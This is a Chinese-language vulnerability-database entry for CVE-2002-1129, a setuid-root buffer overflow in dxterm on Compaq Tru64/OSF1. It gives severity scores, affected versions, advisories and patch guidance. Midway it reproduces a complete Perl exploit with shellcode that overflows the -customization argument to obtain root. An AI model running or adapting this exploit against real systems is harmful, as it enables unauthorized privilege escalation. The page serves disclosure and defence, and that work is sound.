CVE-2002-1129
CVSS7.2
发布时间 :2002-10-04 00:00:00
修订时间 :2016-10-17 22:23:56
NMCOES    

[原文]Buffer overflow in dxterm allows local users to execute arbitrary code via a long -xrm argument.


[CNNVD]Compaq Tru64/OSF1 dxterm本地命令行参数缓冲区溢出漏洞(CNNVD-200210-165)

        
        Tru64/OSF1是一款Compaq公司开发和维护的商业性质操作系统。
        Tru64/OSF1中的dxterm工具对用户提交的命令行参数缺少正确的缓冲区边界检查,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击。
        dxterm工具对"-xrm"命令行参数缺少正确的边界缓冲区检查,本地攻击者可以提交超长的字符串给"-xrm"命令选项,可导致产生基于堆的缓冲区溢出,由于这个程序以suid root属性默认安装,精心构建提交数据可能以root用户权限在系统上执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:compaq:tru64:4.0f_pk7_bl18Compaq Tru64 4.0f PK7_BL18
cpe:/o:compaq:tru64:5.1_pk3_bl17Compaq Tru64 5.1 PK3_BL17
cpe:/o:compaq:tru64:4.0fCompaq Tru64 4.0f
cpe:/o:compaq:tru64:4.0gCompaq Tru64 4.0g
cpe:/o:digital:osf_1:3.0
cpe:/o:compaq:tru64:5.1_pk5_bl19Compaq Tru64 5.1 PK5_BL19
cpe:/o:compaq:tru64:5.1aCompaq Tru64 5.1a
cpe:/o:compaq:tru64:5.1a_pk1_bl1Compaq Tru64 5.1a PK1_BL1
cpe:/o:compaq:tru64:5.0_pk4_bl17Compaq Tru64 5.0 PK4_BL17
cpe:/o:compaq:tru64:4.0g_pk3_bl17Compaq Tru64 4.0g PK3_BL17
cpe:/o:compaq:tru64:5.0_pk4_bl18Compaq Tru64 5.0 PK4_BL18
cpe:/o:digital:osf_1:3.2g
cpe:/o:compaq:tru64:5.0Compaq Tru64 5.0
cpe:/o:compaq:tru64:5.1a_pk2_bl2Compaq Tru64 5.1a PK2_BL2
cpe:/o:compaq:tru64:5.1Compaq Tru64 5.1
cpe:/o:digital:osf_1:3.2
cpe:/o:compaq:tru64:5.0a_pk3_bl17Compaq Tru64 5.0a PK3_BL17
cpe:/o:digital:osf_1:3.2de2
cpe:/o:digital:osf_1:3.2b
cpe:/o:digital:osf_1:3.2de1
cpe:/o:compaq:tru64:5.0aCompaq Tru64 5.0a
cpe:/o:digital:osf_1:3.2f
cpe:/o:compaq:tru64:5.1_pk4_bl18Compaq Tru64 5.1 PK4_BL18
cpe:/o:digital:osf_1:3.2c
cpe:/o:digital:osf_1:3.0b
cpe:/o:digital:osf_1:3.2d
cpe:/o:compaq:tru64:4.0f_pk6_bl17Compaq Tru64 4.0f PK6_BL17

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1129
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1129
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200210-165
(官方数据源) CNNVD

- 其它链接及资源

http://archives.neohapsis.com/archives/vulnwatch/2002-q3/0122.html
(VENDOR_ADVISORY)  VULNWATCH  20020918 iDEFENSE Security Advisory 09.18.2002: Security Vulnerabilities in OSF1/Tru64 3.
http://marc.info/?l=bugtraq&m=103248659816294&w=2
(UNKNOWN)  BUGTRAQ  20020919 iDEFENSE OSF1/Tru64 3.x vuln clarification
http://www.iss.net/security_center/static/10148.php
(VENDOR_ADVISORY)  XF  osf1-dxterm-xrm-bo(10148)
http://www.securityfocus.com/bid/5746
(UNKNOWN)  BID  5746

- 漏洞信息

Compaq Tru64/OSF1 dxterm本地命令行参数缓冲区溢出漏洞
高危 边界条件错误
2002-10-04 00:00:00 2005-10-20 00:00:00
本地  
        
        Tru64/OSF1是一款Compaq公司开发和维护的商业性质操作系统。
        Tru64/OSF1中的dxterm工具对用户提交的命令行参数缺少正确的缓冲区边界检查,本地攻击者可以利用这个漏洞进行缓冲区溢出攻击。
        dxterm工具对"-xrm"命令行参数缺少正确的边界缓冲区检查,本地攻击者可以提交超长的字符串给"-xrm"命令选项,可导致产生基于堆的缓冲区溢出,由于这个程序以suid root属性默认安装,精心构建提交数据可能以root用户权限在系统上执行任意指令。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * chmod u-s /path.to/dxterm
        厂商补丁:
        Compaq
        ------
        HP建议OSF V3.*客户升级到Tru64 UNIX V5.1版本并采用所有补丁。

- 漏洞信息 (21807)

HP Tru64/OSF1 DXTerm Buffer Overflow Vulnerability (EDBID:21807)
unix local
2002-07-03 Verified
0 stripey
N/A [点击下载]
source: http://www.securityfocus.com/bid/5746/info

The HP Tru64/OSF1 dxterm utility is prone to a locally exploitable buffer overflow condition. This issue is due to insufficient checking of command line input supplied via the "-xrm" parameter. This parameter serves the same purpose as the "-customization" command line parameter, which is also not sufficiently checked. 

Since this utility is installed setuid root, code execution that results from successful exploitation of this issue will yield root privileges on the system.

#!/usr/bin/perl -w
#
# Tru64 5.1 /usr/bin/X11/dxterm
#
# stripey (stripey@snosoft.com) - 03/07/2002
#

($offset) = @ARGV,$offset || ($offset = 0);

$ret_addr = pack("ll",(0x4001c828+$offset),0x1);

$sc .= "\x30\x15\xd9\x43\x11\x74\xf0\x47\x12\x14\x02\x42";
$sc .= "\xfc\xff\x32\xb2\x12\x94\x09\x42\xfc\xff\x32\xb2";
$sc .= "\xff\x47\x3f\x26\x1f\x04\x31\x22\xfc\xff\x30\xb2";
$sc .= "\xf7\xff\x1f\xd2\x10\x04\xff\x47\x11\x14\xe3\x43";
$sc .= "\x20\x35\x20\x42\xff\xff\xff\xff\x30\x15\xd9\x43";
$sc .= "\x31\x15\xd8\x43\x12\x04\xff\x47\x40\xff\x1e\xb6";
$sc .= "\x48\xff\xfe\xb7\x98\xff\x7f\x26\xd0\x8c\x73\x22";
$sc .= "\x13\x05\xf3\x47\x3c\xff\x7e\xb2\x69\x6e\x7f\x26";
$sc .= "\x2f\x62\x73\x22\x38\xff\x7e\xb2\x13\x94\xe7\x43";
$sc .= "\x20\x35\x60\x42\xff\xff\xff\xff";

$buf_a .= pack("l",0x47ff041f)x2048;
$buf_a .= $sc;
$buf_a .= $ret_addr;

exec("/usr/bin/X11/dxterm","-customization",$buf_a);


		

- 漏洞信息

9828
HP Tru64 UNIX dxterm -xrm Command Argument Local Overflow
Input Manipulation
Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

2002-09-18 2002-08-16
Unknow Unknow

- 解决方案

Upgrade to version 5.1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

HP Tru64/OSF1 DXTerm Buffer Overflow Vulnerability
Boundary Condition Error 5746
No Yes
2002-08-30 12:00:00 2009-07-11 05:06:00
Discovery of this issue is credited to Snosoft. It was also independently discovered for OSF1 by Euan Briggs <euan_briggs@btinternet.com>.

- 受影响的程序版本

Digital OSF/1 3.2 G
Digital OSF/1 3.2 F
Digital OSF/1 3.2 DE2
Digital OSF/1 3.2 DE1
Digital OSF/1 3.2 D
Digital OSF/1 3.2 C
Digital OSF/1 3.2 B
Digital OSF/1 3.2
Digital OSF/1 3.0 B
Digital OSF/1 3.0
Compaq Tru64 5.1 a PK2 (BL2)
Compaq Tru64 5.1 a PK1 (BL1)
Compaq Tru64 5.1 a
Compaq Tru64 5.1 PK5 (BL19)
Compaq Tru64 5.1 PK4 (BL18)
Compaq Tru64 5.1 PK3 (BL17)
Compaq Tru64 5.1
Compaq Tru64 5.0 a PK3 (BL17)
Compaq Tru64 5.0 a
Compaq Tru64 5.0 PK4 (BL18)
Compaq Tru64 5.0 PK4 (BL17)
Compaq Tru64 5.0
Compaq Tru64 4.0 g PK3 (BL17)
Compaq Tru64 4.0 g
Compaq Tru64 4.0 f PK7 (BL18)
Compaq Tru64 4.0 f PK6 (BL17)
Compaq Tru64 4.0 f
Compaq Digital Unix 4.0 f

- 漏洞讨论

The HP Tru64/OSF1 dxterm utility is prone to a locally exploitable buffer overflow condition. This issue is due to insufficient checking of command line input supplied via the "-xrm" parameter. This parameter serves the same purpose as the "-customization" command line parameter, which is also not sufficiently checked.

Since this utility is installed setuid root, code execution that results from successful exploitation of this issue will yield root privileges on the system.

- 漏洞利用

The following exploit was provided by stripey &lt;stripey@snosoft.com&gt; for Tru64:

- 解决方案

HP has made Tru64 fixes available. OSF1 users are advised to upgrade to later versions of Tru64 UNIX and apply all available patches.


Compaq Tru64 4.0 g PK3 (BL17)

Compaq Tru64 4.0 f PK7 (BL18)

Compaq Tru64 5.0 a PK3 (BL17)

Compaq Tru64 5.1 a PK2 (BL2)

Compaq Tru64 5.1 PK5 (BL19)

- 相关参考

     

     

    关于SCAP中文社区

    SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

    版权声明

    CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站